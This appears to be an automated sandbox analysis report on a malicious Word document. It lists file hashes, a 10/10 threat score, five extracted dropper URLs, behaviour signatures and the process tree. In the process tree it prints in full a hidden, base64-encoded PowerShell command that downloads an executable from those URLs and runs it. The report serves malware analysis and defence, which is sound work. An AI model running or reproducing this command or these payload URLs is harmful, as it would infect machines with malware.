Analysis

  • max time kernel
    55s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:22

General

  • Target

    8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618.doc

  • Size

    218KB

  • MD5

    cd176f635af723f2a7c9e515995ce72b

  • SHA1

    4c1902b0f950928e40a58065b5498f1c41a3fbeb

  • SHA256

    8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618

  • SHA512

    68f27182c957f4e22ddb21fdcc3673a06c61da9ce462d0f0074516baff9a522f89ee6c9d6a3345c3a24b91f2d665ca85d202fded6e48fb0b645926c9c9c5f79d

  • SSDEEP

    6144:CpL2k4otGiL3HJk9yD7bWDEj3iOERA+nLZByBW2Ufgl:+LxQitkI7bd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://candsengg.com/wp-admin/ggn/

exe.dropper

https://evaskincomplex.com/wp-includes/B48dZmZ/

exe.dropper

https://florandina.com/wordpress.bk/lFu77Ma6/

exe.dropper

https://concatstring.com/__MACOSX/ByaZo/

exe.dropper

https://kashifclothhouse.com/wp-admin/3NLIj/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8682ecea1dcd31e3d192be7997d0bfc02f1afef72680bb2641ffe66c0e042618.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1676
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2148
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2748
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAG8AaQBiAGMAbwBwAGUAdgB1AD0AJwBHAHQAcwBhAHUAdgBzAGMAbgAnADsAJABOAGQAZQBqAHIAagBmAGoAZAAgAD0AIAAnADgAOQA3ACcAOwAkAFoAegBtAGMAYQBqAGgAagA9ACcARABvAGUAbgB1AHcAYgBtAGQAJwA7ACQATAByAHoAYwBuAHAAeABsAHIAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBkAGUAagByAGoAZgBqAGQAKwAnAC4AZQB4AGUAJwA7ACQAWQB5AHAAegBpAGsAbwBrAHAAdwB5AGEAPQAnAEQAYwBuAGUAbQBuAGsAbAAnADsAJABNAHgAbwBiAGcAbQBvAHMAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4APQAnAGgAdAB0AHAAOgAvAC8AYwBhAG4AZABzAGUAbgBnAGcALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGcAZwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQB2AGEAcwBrAGkAbgBjAG8AbQBwAGwAZQB4AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBCADQAOABkAFoAbQBaAC8AKgBoAHQAdABwAHMAOgAvAC8AZgBsAG8AcgBhAG4AZABpAG4AYQAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALgBiAGsALwBsAEYAdQA3ADcATQBhADYALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBjAGEAdABzAHQAcgBpAG4AZwAuAGMAbwBtAC8AXwBfAE0AQQBDAE8AUwBYAC8AQgB5AGEAWgBvAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AMwBOAEwASQBqAC8AJwAuACIAcwBwAEwAYABJAFQAIgAoACcAKgAnACkAOwAkAEUAdwBnAGEAdgBiAGEAdABjAGkAYQA9ACcAQwByAHkAcwB5AGQAbABmAG4AeABsAHEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQARAB1AGUAdwB0AHAAYwBlAHYAdQBqAG8AIABpAG4AIAAkAEQAZwBqAGsAbwBrAGwAZwBwAHgAcwB1AG4AKQB7AHQAcgB5AHsAJABNAHgAbwBiAGcAbQBvAHMALgAiAEQATwB3AGAATgBMAG8AQQBkAEYAaQBgAEwARQAiACgAJABEAHUAZQB3AHQAcABjAGUAdgB1AGoAbwAsACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkAOwAkAFIAeABpAG4AYQBhAHYAbQBlAD0AJwBOAHYAZQB5AHkAYwBkAGcAawBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABMAHIAegBjAG4AcAB4AGwAcgByACkALgAiAGwAYABlAG4AYABnAFQASAAiACAALQBnAGUAIAAzADYAMQA1ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQByAFQAIgAoACQATAByAHoAYwBuAHAAeABsAHIAcgApADsAJABOAGoAcQB5AHYAawBiAG4AcwA9ACcAWgBuAHoAdgBoAGUAdQBlAGoAJwA7AGIAcgBlAGEAawA7ACQAQQBvAHoAagBuAG4AZAB2AGQAYwB3AD0AJwBRAGUAbwBqAGQAbgBhAGMAYwB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAbABkAGgAdABxAGMAcwB4AGkAYgA9ACcAWABvAGoAeAB5AGIAYwBpAG4AZQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2576

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8B9495E8.wmf

      Filesize

      444B

      MD5

      b90b974754c3dd77704397c6667b65d7

      SHA1

      5ab683fad68edf4135d8cc3256c5277751dc71b7

      SHA256

      9868bafcdc429e77bd1817be230f483e859a525a20a1225f4f2eb90c9c5d9913

      SHA512

      450cbac854e18f97e3def3459d01918af349cb90b09e92ec80cb544ca46edad2505ca54c41f34d7b86bf95683492f22044fed7942ec0dcd3306bfbb818ec6dfb

    • memory/2148-17-0x0000000000150000-0x0000000000151000-memory.dmp

      Filesize

      4KB

    • memory/2576-36-0x0000000002040000-0x0000000002048000-memory.dmp

      Filesize

      32KB

    • memory/2576-35-0x000000001B720000-0x000000001BA02000-memory.dmp

      Filesize

      2.9MB

    • memory/2644-16-0x0000000006BA0000-0x0000000006BA1000-memory.dmp

      Filesize

      4KB

    • memory/2644-21-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-0-0x000000002FD21000-0x000000002FD22000-memory.dmp

      Filesize

      4KB

    • memory/2644-5-0x00000000057F0000-0x00000000058F0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-19-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-23-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-26-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-25-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-22-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-15-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-20-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-29-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-27-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-2-0x000000007164D000-0x0000000071658000-memory.dmp

      Filesize

      44KB

    • memory/2644-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2644-39-0x000000007164D000-0x0000000071658000-memory.dmp

      Filesize

      44KB

    • memory/2644-43-0x00000000057F0000-0x00000000058F0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-44-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2644-45-0x0000000006BA0000-0x0000000006BA1000-memory.dmp

      Filesize

      4KB

    • memory/2644-46-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB